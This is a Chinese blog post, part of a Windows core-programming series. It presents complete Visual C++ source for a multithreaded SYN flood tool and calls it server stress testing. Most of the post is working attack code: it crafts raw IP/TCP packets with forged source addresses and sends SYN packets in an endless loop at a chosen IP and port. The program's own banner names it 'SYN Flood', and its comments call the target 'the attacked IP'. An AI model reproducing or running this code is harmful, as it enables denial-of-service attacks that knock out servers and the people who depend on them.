zoukankan      html  css  js  c++  java
  • 基于visual c++之windows核心编程代码分析(38)实践服务器压力测试SYN请求

      SYN 请求实现压力监测利用TCP协议缺陷,发送了大量伪造的TCP连接请求,使得被攻击方资源耗尽,无法及时回应或处理正常的服务请求。一个正常的TCP连接需要三次握手,首先客户端发送一个包含SYN标志的数据包,其后服务器返回一个SYN/ACK的应答包,表示客户端的请求被接受,最后客户端再返回一个确认包ACK,这样才完成TCP连接。在服务器端发送应答包后,如果客户端不发出确认,服务器会等待到超时,期间这些半连接状态都保存在一个空间有限的缓存队列中;如果大量的SYN包发到服务器端后没有应答,就会使服务器端的TCP资源迅速耗尽,导致正常的连接不能进入,甚至会导致服务器的崩溃。

          我们一般开发网站项目的时候,经常需要测试服务器压力,好进行网络优化,测试服务器压力经常用到SYN监测,下面见代码分析,实现服务器压力测试。

    #include <winsock2.h>
    #include <Ws2tcpip.h> 
    #include <stdio.h>
    
    #pragma comment(lib,"ws2_32.lib")
    #define SEQ 0x28376839
    
    int threadnum,maxthread,port;
    char *DestIP;//目标IP
    
    void display(void)  // 定义状态提示函数 
    { 
    	static int play=0;
    // 进度条 
    char *plays[12]= 
    { 
    " | ", 
     " / ", 
     " - ", 
     " \\ ",
     " | ", 
     " / ", 
     " - ", 
     " \\ ", 
     " | ", 
     " / ", 
     " - ", 
     " \\ ", 
    }; 
    
    printf("=%s= %d threads \r", plays[play],threadnum);
    play=(play==11)?0:play+1;
    } 
    
    //定义一个tcphdr结构来存放TCP首部
    typedef struct tcphdr
    {
    	USHORT th_sport;//16位源端口号
    	USHORT th_dport;//16位目的端口号
    	unsigned int th_seq;//32位序列号
    	unsigned int th_ack;//32位确认号
    	unsigned char th_lenres;//4位首部长度+6位保留字中的4位
    	unsigned char th_flag;////6位标志位
    	USHORT th_win;//16位窗口大小
    	USHORT th_sum;//16位效验和
    	USHORT th_urp;//16位紧急数据偏移量
    }TCP_HEADER; 
    
    //定义一个iphdr来存放IP首部
    typedef struct iphdr//ip首部
    {
            unsigned char h_verlen;//4位手部长度,和4位IP版本号
            unsigned char tos;//8位类型服务
            unsigned short total_len;//16位总长度
            unsigned short ident;//16位标志
            unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等)
            unsigned char ttl;//8位生存时间
            unsigned char proto;//8位协议
            unsigned short checksum;//ip手部效验和
            unsigned int sourceIP;//伪造IP地址
            unsigned int destIP;//攻击的ip地址
    }IP_HEADER;
    
    //TCP伪首部,用于进行TCP效验和的计算,保证TCP效验的有效性
    struct
    {
    	unsigned long saddr;//源地址
    	unsigned long daddr;//目的地址
    	char mbz;//置空
    	char ptcl;//协议类型
    	unsigned short tcpl;//TCP长度
    }PSD_HEADER; 
    
    //计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
    //然后计算整个IP首部的二进制反码的和。
    USHORT checksum(USHORT *buffer, int size)
    {
    	unsigned long cksum=0;
    	while(size >1) {
    		cksum+=*buffer++;
    		size-=sizeof(USHORT);
    	}
    	if(size) cksum+=*(UCHAR*)buffer;
    	cksum=(cksum >> 16)+(cksum&0xffff);
    	cksum+=(cksum >>16);
    	return (USHORT)(~cksum); 
    }
    
    DWORD WINAPI SynfloodThread(LPVOID lp)//synflood线程函数
    {
    
    SOCKET  sock =NULL;
    int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
    struct sockaddr_in sockAddr;
    TCP_HEADER  tcpheader;
    IP_HEADER   ipheader;
    char        sendBuf[128];
    
    	sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
    	if(sock==INVALID_SOCKET)
    	{
    		printf("Socket failed: %d\n",WSAGetLastError());
    	return 0;
    	}
    
    	//设置IP_HDRINCL以便自己填充IP首部
    	ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
    	if(ErrorCode==SOCKET_ERROR)
    	{
    	        printf("Set sockopt failed: %d\n",WSAGetLastError());
    	return 0;
    	}
    	//设置发送超时
    	ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
    	if(ErrorCode==SOCKET_ERROR)
    	{
    	        printf("Set sockopt time out failed: %d\n",WSAGetLastError());
    	return 0;
    	}
        //设置目标地址
    	memset(&sockAddr,0,sizeof(sockAddr));
    	sockAddr.sin_family=AF_INET;
    	sockAddr.sin_addr.s_addr =inet_addr(DestIP);
    	FakeIpNet=inet_addr(DestIP);
    	FakeIpHost=ntohl(FakeIpNet);
        //填充IP首部
    	ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
    	ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
    	ipheader.ident = 1;
    	ipheader.frag_and_flags = 0;
    	ipheader.ttl = 128;
    	ipheader.proto = IPPROTO_TCP;
    	ipheader.checksum =0;
    	ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
    	ipheader.destIP = inet_addr(DestIP);
        //填充TCP首部
    	tcpheader.th_dport=htons(port);
    	tcpheader.th_sport = htons(8080);
    	tcpheader.th_seq = htonl(SEQ+SendSEQ);
    	tcpheader.th_ack = 0;
    	tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
    	tcpheader.th_flag = 2;
    	tcpheader.th_win = htons(16384);
    	tcpheader.th_urp = 0;
    	tcpheader.th_sum = 0;
    
    	PSD_HEADER.saddr=ipheader.sourceIP;
    	PSD_HEADER.daddr=ipheader.destIP;
    	PSD_HEADER.mbz=0; 
    	PSD_HEADER.ptcl=IPPROTO_TCP;
    	PSD_HEADER.tcpl=htons(sizeof(tcpheader));
    
    	for(;;)
    	{
    		
           	SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;
    		ipheader.checksum =0;
    		ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
    		tcpheader.th_seq = htonl(SEQ+SendSEQ);
    		tcpheader.th_sport = htons(SendSEQ);
    		tcpheader.th_sum = 0;
    		PSD_HEADER.saddr=ipheader.sourceIP;
    		//把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和
    		memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
    		memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
    		tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));
    
    		memcpy(sendBuf,&ipheader,sizeof(ipheader));
    		memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
    		memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
    		dataSize=sizeof(ipheader)+sizeof(tcpheader);
    		ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
    		memcpy(sendBuf,&ipheader,sizeof(ipheader));
    
    		sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
    	    display();
       
    	
    	}//end for
        Sleep(20);
        InterlockedExchangeAdd((long *)&threadnum,-1);
    
    	return 0;
    }
    
    void usage(char *name)
    {
    printf("\t===================SYN Flood======================\n");
    printf("\t==========gxisone@hotmail.com     2004/7/6========\n");
    printf("\tusage: %s [dest_IP] [port] [thread]\n",name);
    printf("\tExample: %s 192.168.1.1 80 100\n",name);
    }
    
    int main(int argc,char* argv[])
    {
        
    	if(argc!=4)
    	{
    	
    		usage(argv[0]);
    		return 0;
    	}
    	usage(argv[1]);
    
    	int ErrorCode=0;
    	DestIP=argv[1];//取得目标主机IP
    	port=atoi(argv[2]);//取得目标端口号
    	maxthread=(maxthread>100)?100:atoi(argv[3]);
    	//如果线程数大于100则把线程数设置为100
    
    	WSADATA wsaData;
    
    	if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){
    	        printf("WSAStartup failed: %d\n",ErrorCode); 
    	        return 0;
    	}
    
    
    
    	printf("[start]...........\nPress any key to stop!\n");
    
    	while(threadnum<maxthread)//循环创建线程
    	{
        if(CreateThread(NULL,0,SynfloodThread,0,0,0))
    	{
    		Sleep(10);
    	    threadnum++;
    	}
    	}
    	WSACleanup();
    	printf("\n[Stopd]...........\n");
    	
    	return 0;
    }
    
    
    
    
    


     

  • 相关阅读:
    浅谈 Linux 下的 SSH1, SSH2
    jquery replace方法去空格
    CakePHP Configure::read('KHCITY') 数据配置读取
    php中::是什么意思?
    CakePHP redirect函数
    Redis介绍
    Microsoft Dynamics CRM 2011 面向Internet部署 (IFD) ADFS虚拟机环境搭建的步骤(CRM与ADFS装在同一台服务器上) 摘自网络
    [Windows Server] 在 Windows Server 2012 上安裝 .NET Framework 3.5
    Solution for When browse http://xxx/ReportServer Show Error (rsAccessDenied)
    Windows Server 2008 R2 配置AD(Active Directory)域控制器 -zhai zi wangluo
  • 原文地址:https://www.cnblogs.com/new0801/p/6177787.html
Copyright © 2011-2022 走看看